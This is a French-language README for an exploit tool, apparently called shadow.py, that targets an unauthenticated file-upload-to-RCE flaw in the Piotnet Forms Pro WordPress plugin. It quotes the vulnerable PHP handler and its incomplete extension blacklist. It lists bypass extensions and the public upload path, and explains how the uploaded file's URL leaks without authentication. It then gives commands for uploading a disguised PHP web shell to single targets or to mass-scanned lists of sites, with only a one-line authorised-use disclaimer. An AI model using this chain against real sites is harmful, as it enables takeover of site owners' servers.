
Piotnet Forms Pro <= 2.1.40 - Téléchargement arbitraire de fichier non authentifié → RCE
La vulnérabilité provient d'une validation inadéquate du type de fichier dans la fonction piotnetforms_ajax_form_builder. Le plugin utilise une liste noire d'extensions incomplète bloquant uniquement php, phpt, php5, php7 et exe tout en autorisant des alternatives dangereuses comme .phtml ou .phar.
Le gestionnaire AJAX est enregistré sans aucune exigence d'authentification :
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
La validation des fichiers repose uniquement sur une liste noire d'extensions incomplète, sans vérification du type MIME ni des octets magiques :
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. passent tous librement
move_uploaded_file( $file['tmp_name'][$i], $new_file );
Le répertoire de téléversement contient uniquement un fichier index.html vide pour empêcher le listage des répertoires — aucun .htaccess pour bloquer l'exécution PHP. Les fichiers téléversés atterrissent accessibles publiquement à :
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
L'URL du fichier peut être récupérée sans authentification via l'action AJAX piotnetforms_export_form_submission (également nopriv), complétant ainsi la chaîne complète d'exécution de code non authentifiée (RCE).
Il s'agit du même bug copié-collé présent dans CVE-2026-4885 — les deux plugins partagent un code de gestion du téléversement identique et vulnérable du même développeur.
Mode interactif :
python3 shadow.py
Cible unique :
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
Scan de masse :
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
Options CLI :
-u, --url - URL cible-f, --file - Fichier de cibles (une par ligne)-s, --shell - Shell PHP personnalisé (GIF89a pré-ajouté automatiquement)-t, --threads - Threads simultanés (par défaut : 5)-h, --help - Affichage de l'aidepiotnetforms_export_form_submission (non authentifié)shell.txt.php .phpt .php5 .php7 .exe
Extensions de contournement : .phtml .phar .shtml .php8
pip install httpx
Cet outil est destiné exclusivement aux tests de sécurité autorisés et à des fins éducatives. Les tests non autorisés sur des systèmes sont interdits.